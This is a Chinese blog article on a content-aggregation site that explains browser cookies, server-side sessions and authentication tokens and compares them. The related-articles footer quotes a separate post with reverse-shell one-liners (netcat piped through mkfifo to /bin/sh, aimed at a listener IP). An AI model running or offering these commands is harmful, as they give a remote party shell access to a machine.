细说会话三剑客: Cookie、Session和Token

0. 必要性论证

image-20240421174856351

在日常的开发中,不管是前端或者后端领域,都绕不开用户状态和会话的管理方面的内容。因此有必要理解清楚三种技术的基本原理和使用场景以及三者之间的区别,当然,在面试过程中,这也是一个很常见的基本面试题。

1. Cookie

在Web开发中,Cookie是一种存储在用户计算机上的小型文本文件,用于跟踪用户在网站上的活动和存储有关用户的信息。Cookie通常由服务器发送给用户的浏览器,并保存在用户的计算机上,每当用户访问相同的网站时,浏览器会将Cookie发送回服务器,以便服务器识别用户并提供个性化的体验。

Cookie的一些关键特点和详细定义:

  1. 存储位置:Cookie是存储在用户计算机上的文本文件,通常存储在浏览器的Cookie文件夹中。

  2. 数据格式:Cookie以键值对的形式存储数据,例如:cookie_name=value。一个网站可以在用户的浏览器中设置多个Cookie,每个Cookie都有一个唯一的名称。

  3. 作用

    • 会话管理:用于跟踪用户的会话状态,保持用户登录状态等
    • 个性化体验:存储用户的偏好设置、购物车内容、广告偏好等,以提供个性化的体验,这一点应该很常见,现在大部分站点都设置了个性化的服务,根据每个用户不同的需求进行定制化,达到最佳的用户体验。
    • 跟踪分析:用于分析用户行为、流量统计等。
  4. 过期时间:Cookie可以设置过期时间,可以是会话级的(浏览器关闭后失效)或持久性的(在一定时间内有效)。

  5. 安全性:由于Cookie存储在用户的计算机上,可能存在安全风险,如Cookie劫持。因此,对于包含敏感信息的Cookie,应当采取加密等安全措施。

  6. 同源策略:Cookie受同源策略的限制,只能被设置和访问与设置它的域名相同的页面。

  7. 使用场景

    • 记住用户的登录状态,以免用户每次访问都需要重新登录。
    • 存储用户的偏好设置,如语言偏好、主题选择等。
    • 跟踪用户行为,用于广告定位、网站分析等。

一句话总结:

Cookie是一种存储与用户浏览器端的键值对形式的文本,主要用来作用户的会话管理,个性化体验等,且cookie是有状态的。

image-20240421175408388


2. Session

Session是指在网络通信中,服务器与客户端之间建立的一种持续性的连接。在Web开发中,Session通常用于跟踪用户在网站上的活动状态,并在用户访问不同页面时保持用户的身份认证信息和其他相关数据。

以下是关于Session的一些重要概念和含义:

  1. 会话状态:Session用于存储特定用户在特定时间段内的会话状态信息。这可以包括用户的登录状态、购物车内容、用户首选项等。

  2. 唯一标识符:每个Session都有一个唯一的标识符,通常存储在Cookie中或通过URL参数传递给客户端,用于识别特定用户的Session。

  3. 服务器端存储:Session数据通常存储在服务器端,可以存储在内存中、数据库中或文件系统中,以确保数据的安全性和一致性。

  4. 过期时间:Session可以设置过期时间,一旦用户一段时间内没有活动,Session数据可能会被清除,用户需要重新登录或重新开始会话。

  5. 安全性:Session数据通常被视为敏感信息,因此需要采取安全措施,如加密传输、防止Session劫持等。

在Web开发中,Session常用于以下方面:

  • 用户认证:通过Session跟踪用户的登录状态,以便在用户访问受限页面时进行身份验证。

  • 购物车管理:在电子商务网站中使用Session来存储用户的购物车内容,以便用户在浏览和结账过程中保持购物车状态。

  • 个性化体验:根据用户的Session数据提供个性化的内容和功能。

一句话总结

Session是一种在服务器端存储用户会话状态信息的机制,用于跟踪用户在网站上的活动和维持用户状态。


3. Token

在计算机科学和网络安全领域,Token是一个用于表示身份验证信息或访问权限的令牌。Token通常是一个字符串,可以是随机生成的,具有一定的时效性和唯一性,用于验证用户身份或授权用户访问特定资源。

以下是关于Token的一些重要含义和用途:

  1. 身份验证:在身份验证过程中,用户通常会提供用户名和密码,服务器验证这些凭证后会颁发一个Token给用户,用于后续的请求认证。

  2. 访问控制:Token还可以用于授权用户访问特定资源或执行特定操作。通过检查Token的有效性和权限,服务器可以决定是否允许用户进行请求操作。

  3. 无状态性:Token可以使系统保持无状态性,因为Token本身包含了所有必要的信息,服务器不需要在本地存储用户的会话状态。

  4. 安全性:Token应当具有一定的安全性,例如使用加密算法生成,避免被篡改或伪造。此外,Token通常会设置过期时间,以减少安全风险。

  5. 类型:常见的Token类型包括JWT(JSON Web Token)、OAuth Token、Bearer Token等,每种类型的Token有不同的用途和特性。

在Web开发中,Token经常用于以下方面:

  • 用户认证:用户登录后服务器颁发Token,用户在每次请求时携带Token用于身份验证。

  • API访问:在使用API进行通信时,Token可以用于授权用户访问API的特定端点或资源。

  • 单点登录:Token可以用于实现单点登录(Single Sign-On),让用户在多个应用间无需重复登录。

一句话总结

Token是一种用于身份验证和授权的令牌,通常由服务器颁发给客户端,客户端在后续请求中携带该令牌以验证身份和访问权限。


4. Cookie和Session的区别

主要区别如下:

  • 存储位置不同
    • cookie存储在浏览器端
    • session存储在服务端(会返回客户端一个Session ID)
  • 存储大小不同
    • cookie可以存储的数据量较少
    • session 可以存储更多的数据
  • 安全性不同
    • Cookie:容易受到跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等安全威胁。
    • Session:相对于Cookie更安全,因为Session数据存储在服务器端,客户端只有一个Session ID。

5. Session和Token的区别

主要区别如下:

  • 存储位置区别
    • Session存储在服务器端
    • Token则是由服务端颁发存在于客户端
  • 生命周期
    • Session通常在用户会话期间保持活动状态,会话结束后销毁
    • Token则相对有更长的生命周期,可以持续用于身份验证和授权;
  • 验证方式
    • Session服务器通过SessionID验证
    • Token则是通过签名等机制进行;
  • 使用场景:
    • Session 适用于传统Web应用程序
    • Token适用于分布式系统,前后端分离等项目中

6. Cookie和Token的区别

主要区别:

  • 定义不同
    • Cookie:是服务器发送到用户浏览器并保存在用户本地计算机上的小型文本文件,用于存储用户的会话信息、偏好设置等。
    • Token:是一种用于身份验证和授权的令牌,通常由服务器生成并发送给客户端,客户端在后续请求中使用Token来验证身份和访问权限。
  • 内容信息
    • Cookie:包含有关用户会话、偏好设置、跟踪信息等数据。
    • Token:通常包含有关用户身份、权限、过期时间等信息。
  • 安全性
    • Cookie:存在一些安全风险,如跨站脚本攻击(XSS)和跨站请求伪造(CSRF)。
    • Token:可以通过加密和签名等技术增强安全性,有效防止CSRF攻击,并且可以更安全地传输和存储。
  • 用途区别
    • Cookie:用于存储用户会话信息、跟踪用户活动、保持用户登录状态等。
    • Token:用于身份验证和授权,通常用于API访问、单点登录等场景。

以上就是三种技术的定义和区别,其中Token的实现原理相对复杂,后续会独立一篇文章出来。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562150.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统,能实…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion:通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中,找到“General”选项。在“General”选项中,找到“Localization”(界面语言)项。在下拉菜单中…

磁性呼吸传感技术与机器学习结合在COVID-19审断中的应用

介绍 呼吸不仅是人类生存的基础,而且其模式也是评估个体健康状态的关键指标。异常的呼吸模式往往是呼吸系统疾病的一个警示信号,包括但不限于慢性阻塞性肺病(COPD)、阻塞性睡眠呼吸暂停(OSA)、肺炎、囊性纤…

python免费调用阿里云通义千问(q-wen-max)大模型API

文章目录 通义千问开通免费API Keypython调用阿里云通义千问API 通义千问 通义千问,是基于阿里巴巴达摩院在自然语言处理领域的研究和积累。采用更先进的算法和更优化的模型结构,能够更准确地理解和生成自然语言、代码、表格等文本。 支持更多定制化需…

自媒体个人品牌IP策划打造孵化运营方案

【干货资料持续更新,以防走丢】 自媒体个人品牌IP策划打造孵化运营方案 部分资料预览 资料部分是网络整理,仅供学习参考。 ppt可编辑(完整资料包含以下内容)目录个人IP孵化方案概要: 1. 目标定位与市场分析 - 女性…

二叉树链式结构的实现-二叉树的前序 中序 后序 层序遍历

一、二叉树的结构了解 二叉树是: 空树非空:根节点,根节点的左子树、根节点的右子树组成的。 前序: 根 左子树 右子树 --》先根 中序:左子树 根 右子树 --》中根 后序:左子树 右子树 根 --》后根 层序&…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

密钥密码学(一)

原文&#xff1a;annas-archive.org/md5/b5abcf9a07e32fc6f42b907f001224a1 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 从秘密解码环到政府政策声明&#xff0c;隐藏和发现信息的挑战长期以来一直吸引着智慧。密码学是一个引人入胜的主题&#xff0c;…

分享四月书单

Hello , 我是小恒。之后有物理服务器搭建和大容量高并发数据中心的需求&#xff0c;所以四月在写一些避坑方面的文章比较少&#xff0c;主在写一些基础入门和本地开发的操作。可能五一就开始组装调试上线&#xff0c;CSDN也马上获得后端优质创作者&#xff0c;不过遗憾的是&…

Matlab 使用subplot绘制多个子图,一元拟合

实现效果&#xff1a; clc; clear;filename sri.xlsx; % 确认文件路径data readtable(filename); datavalue data{:,2:end}; datavalue datavalue;fig figure(Position, [0, 0, 1500, 900]); indexString ["(a)","(b)","(c)","(d)&qu…

LinkedList和链表

1.ArrayList的缺陷 ArraryList由于底层是一段连续的空间&#xff0c;所以在ArrayList任意位置插入或者删除元素时&#xff0c;就 需要将后续元素往前或者往后搬移&#xff0c;时间复杂度为O(n)&#xff0c;效率比较低&#xff0c;因此ArrayList不适合做任意位置插入和删除比较…

Json三方库介绍

目录 Json是干什么的Json序列化代码Json反序列化代码 Json是干什么的 Json是一种轻量级的数据交换格式&#xff0c;也叫做数据序列化方式。Json完全独立于编程语言的文本格式来存储和表述数据。易于人阅读和编写&#xff0c;同时也易于机器解析和生成&#xff0c;并有效地提升…

Linux--进程间的通信-共享内存

前文&#xff1a; Linux–进程间的通信-匿名管道 Linux–进程间的通信–进程池 Linux–进程间的通信-命名管道 共享内存 对于两个进程&#xff0c;通过在内存开辟一块空间&#xff08;操作系统开辟的&#xff09;&#xff0c;进程的虚拟地址通过页表映射到对应的共享内存空间中…

# 从浅入深 学习 SpringCloud 微服务架构(三)注册中心 Eureka(3)

从浅入深 学习 SpringCloud 微服务架构&#xff08;三&#xff09;注册中心 Eureka&#xff08;3&#xff09; 段子手168 1、eureka&#xff1a;高可用的引入 Eureka Server 可以通过运行多个实例并相互注册的方式实现高可用部署&#xff0c; Eureka Server 实例会彼此增量地…

文件批量高效重命名,支持重命名后不满意恢复原名,高效管理文件

我们每天都会与大量的文件打交道&#xff0c;无论是工作文件、学习资料&#xff0c;还是生活照片、视频&#xff0c;都需要我们进行高效的文件管理。然而&#xff0c;传统的文件重命名方式往往效率低下&#xff0c;无法满足我们的需求。今天&#xff0c;我们为您带来了一款批量…

MATLAB设置变量

您可以通过简单的方式分配变量。例如&#xff0c; 示例 x 3 %定义x并用值初始化它 MATLAB将执行上述语句并返回以下结果- x 3 它创建一个名为x的1乘1矩阵&#xff0c;并将值3存储在其元素中。再举一个实例&#xff0c; 示例 x sqrt(16) %定义x并用表达式初始化它 MATLAB将…

cv2技术原理-图像旋转原理及手动实现

cv2技术原理-图像旋转原理及手动实现 1、图像旋转opencv实现2、cv2.getRotationMatrix2D函数解释3、数学原理推导旋转矩阵M4、手动计算旋转矩阵M5、旋转矩阵M的使用6、使用旋转矩阵M手动实现旋转功能 1、图像旋转opencv实现 图像旋转在对数据集数据增强&#xff08;主要是随机…

WordPress自动记录404死链方法+实用代码

WordPress自动记录404死链方法实用代码 WordPress自动将404死链记录到TXT文档中 在网站根目录新建文件&#xff1a; 404.txt&#xff0c;并设置权限为&#xff1a;755 将以下代码粘贴到你的 WordPress 主题中的 404.php $error_url https://.$_SERVER[HTTP_HOST].$_SERVER[…

python爬虫小案例——汽车之家

本篇文章是使用bs4中的BeautifulSoup和requests解析网页和获取数据&#x1f451;&#x1f31f; 文章目录 &#x1f31f;前言一、&#x1f349;bs4中的BeautifulSoup二、&#x1f349;bs4的语法三、&#x1f349;内容实践1. 确定想要爬取的内容2. 分析网页3. 获取数据分析 &…